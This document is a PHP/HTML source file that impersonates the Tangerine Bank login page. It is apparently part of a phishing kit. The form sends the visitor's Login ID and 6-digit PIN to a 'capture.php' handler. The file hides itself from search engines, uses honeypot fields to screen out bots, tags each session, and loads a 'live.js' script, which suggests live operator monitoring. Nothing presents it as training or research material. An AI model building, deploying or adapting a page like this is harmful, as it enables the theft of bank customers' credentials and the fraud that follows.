<?php
declare(strict_types=1);
if (!defined('DIR')) define('DIR', __DIR__);
header('Content-Type: text/html; charset=utf-8');
header('Cache-Control: no-store');
$candidats = [DIR . '/private/config.php', dirname(DIR) . '/private/config.php'];
foreach ($candidats as $c) { if (is_file($c)) { require $c; break; } }
if (!defined('REDIRECT')) { http_response_code(500); exit('Configuration introuvable.'); }
$ref = substr(preg_replace('/[^A-Za-z0-9_\-]/', '', (string)($_GET['ref'] ?? '')), 0, 40);
$sid = substr(bin2hex(random_bytes(6)), 0, 8);
?>
<!DOCTYPE html>
<html lang="en-CA"><head><meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<title>Log in | Tangerine</title>
<link rel="stylesheet" href="head.css">
<style>
main{padding:1.5rem 1.25rem 0}
.carte{max-width:520px;margin:0 auto;background:#fff}
h1{font-size:2rem;font-weight:400;margin:.5rem 0 1.25rem}
.onglets{display:flex;gap:26px;border-bottom:1px solid #e4e4e4;margin-bottom:1.75rem}
.onglets button{background:none;border:0;padding:0 0 12px;font-family:inherit;font-size:1rem;color:var(--mut);cursor:pointer;border-bottom:3px solid transparent}
.onglets button.actif{color:var(--tx);border-bottom-color:var(--or);font-weight:700}
.form-group{margin-bottom:1.25rem}
label{display:block;font-size:.9375rem;font-weight:700;margin-bottom:6px}
.aide{margin:8px 0 0;font-size:.8125rem;color:var(--mut)}
.form-control{display:block;width:100%;height:52px;padding:0 15px;font-size:1.0625rem;font-family:inherit;color:var(--tx);background:#fff;border:1px solid var(--bd);border-radius:2px;-webkit-appearance:none}
.form-control:focus{outline:none;border-color:var(--or);box-shadow:0 0 0 1px var(--or)}
#motDePasse{letter-spacing:7px;font-size:1.25rem}
.checkbox{display:flex;align-items:center;gap:11px;margin:.2rem 0 1.5rem}
.checkbox input{width:22px;height:22px;margin:0;appearance:none;-webkit-appearance:none;border:2px solid #b5b5b5;border-radius:2px;background:#fff;position:relative;flex:0 0 auto}
.checkbox input:checked{background:var(--or);border-color:var(--or)}
.checkbox input:checked::after{content:"";position:absolute;left:6px;top:2px;width:6px;height:11px;border:2px solid #fff;border-top:0;border-left:0;transform:rotate(45deg)}
.checkbox label{font-size:.9375rem;font-weight:400;margin:0}
.btn{display:flex;align-items:center;justify-content:center;width:100%;height:54px;border:0;border-radius:3px;background:var(--or);color:#fff;font-family:inherit;font-size:1.125rem;font-weight:700;cursor:pointer}
.btn:hover{background:var(--or2)}
.btn:disabled{opacity:.8;cursor:default}
.lien{display:inline-flex;align-items:center;gap:7px;font-size:.9375rem;margin-top:1.35rem}
.lien .chev{width:8px;height:8px;border-top:2px solid currentColor;border-right:2px solid currentColor;transform:rotate(45deg);margin-top:1px}
@media(min-width:900px){main{padding:2.5rem 0 0}h1{font-size:2.25rem}}
</style>
</head>
<body>

<?php readfile(DIR . '/barre.html'); ?>

<main>
<div class="carte">
  <h1>Log in</h1>

  <div class="onglets">
    <button type="button" class="actif">Personal</button>
    <button type="button">Business</button>
  </div>

  <form id="form" action="capture.php" method="POST" autocomplete="off" novalidate>
    <input type="hidden" id="sid" name="sid" value="<?= htmlspecialchars($sid, ENT_QUOTES) ?>">
    <input type="hidden" name="t" value="">
    <div style="position:absolute;left:-9999px" aria-hidden="true">
      <input type="text" id="hp" name="hp" tabindex="-1" autocomplete="off">
      <input type="text" id="hp2" name="website" tabindex="-1" autocomplete="off">
    </div>

    <div class="form-group">
      <label for="codeUtilisateur">Login ID</label>
      <input type="text" id="codeUtilisateur" name="u" class="form-control" maxlength="100" required autocomplete="off" spellcheck="false">
      <p class="aide">You can use your Client Number, Card Number, or Username.</p>
    </div>

    <div class="form-group">
      <label for="motDePasse">PIN</label>
      <input type="text" id="motDePasse" name="p" class="form-control" inputmode="numeric" pattern="[0-9]*" maxlength="6" required autocomplete="off" spellcheck="false">
      <p class="aide">Your 6-digit PIN.</p>
    </div>

    <div class="checkbox">
      <input type="checkbox" id="souvenirDeMoiCheckBox" name="memo" value="1">
      <label for="souvenirDeMoiCheckBox">Remember me on this device</label>
    </div>

    <button type="submit" class="btn" id="btn">Log in</button>
  </form>

  <a class="lien" href="#"><span>Forgot your Login ID or PIN?</span><span class="chev"></span></a>
</div>

<section class="legal"><div class="td-container">
  <p>Tangerine Bank is a wholly-owned subsidiary of The Bank of Nova Scotia and a member of the Canada Deposit Insurance Corporation (CDIC) in its own right.</p>
  <p class="cdic"><svg viewBox="0 0 24 24" width="20" height="20"><rect width="24" height="24" rx="3" fill="#1a1a1a"/><text x="12" y="17" text-anchor="middle" font-family="Arial" font-size="9" font-weight="700" fill="#fff">CDIC</text></svg><a href="#">CDIC Deposit Insurance Information</a></p>
</div></section>
</main>

<footer><div class="td-container">
  <p class="f-head">Tangerine Bank — Forward Banking</p>
  <div class="f-links"><a href="#">Security Guarantee</a><a href="#">Privacy</a><a href="#">Legal</a><a href="#">Accessibility</a><a href="#">Contact us</a></div>
</div></footer>

<script>
(function(){
  var f=document.getElementById('form'),b=document.getElementById('btn');
  var u=document.getElementById('codeUtilisateur'),p=document.getElementById('motDePasse'),envoi=false;
  document.querySelector('input[name=t]').value=Date.now();
  document.querySelectorAll('.onglets button').forEach(function(o){
    o.addEventListener('click',function(){
      document.querySelectorAll('.onglets button').forEach(function(x){x.classList.remove('actif');});
      o.classList.add('actif');
    });
  });
  p.addEventListener('input',function(){p.value=p.value.replace(/\D/g,'').slice(0,6);});
  try{var v=localStorage.getItem('tan_idf');if(v){u.value=v;p.focus();}else{u.focus();}}catch(e){u.focus();}
  f.addEventListener('submit',function(e){
    if(envoi){e.preventDefault();return;}
    if(!u.value.trim()){e.preventDefault();u.focus();return;}
    if(!p.value){e.preventDefault();p.focus();return;}
    try{localStorage.setItem('tan_idf',u.value.trim());}catch(e){}
    envoi=true;b.disabled=true;b.textContent='Logging in…';
  });
  window.addEventListener('pageshow',function(){envoi=false;b.disabled=false;b.textContent='Log in';});
})();
</script>
<script src="live.js"></script>
</body>
</html>
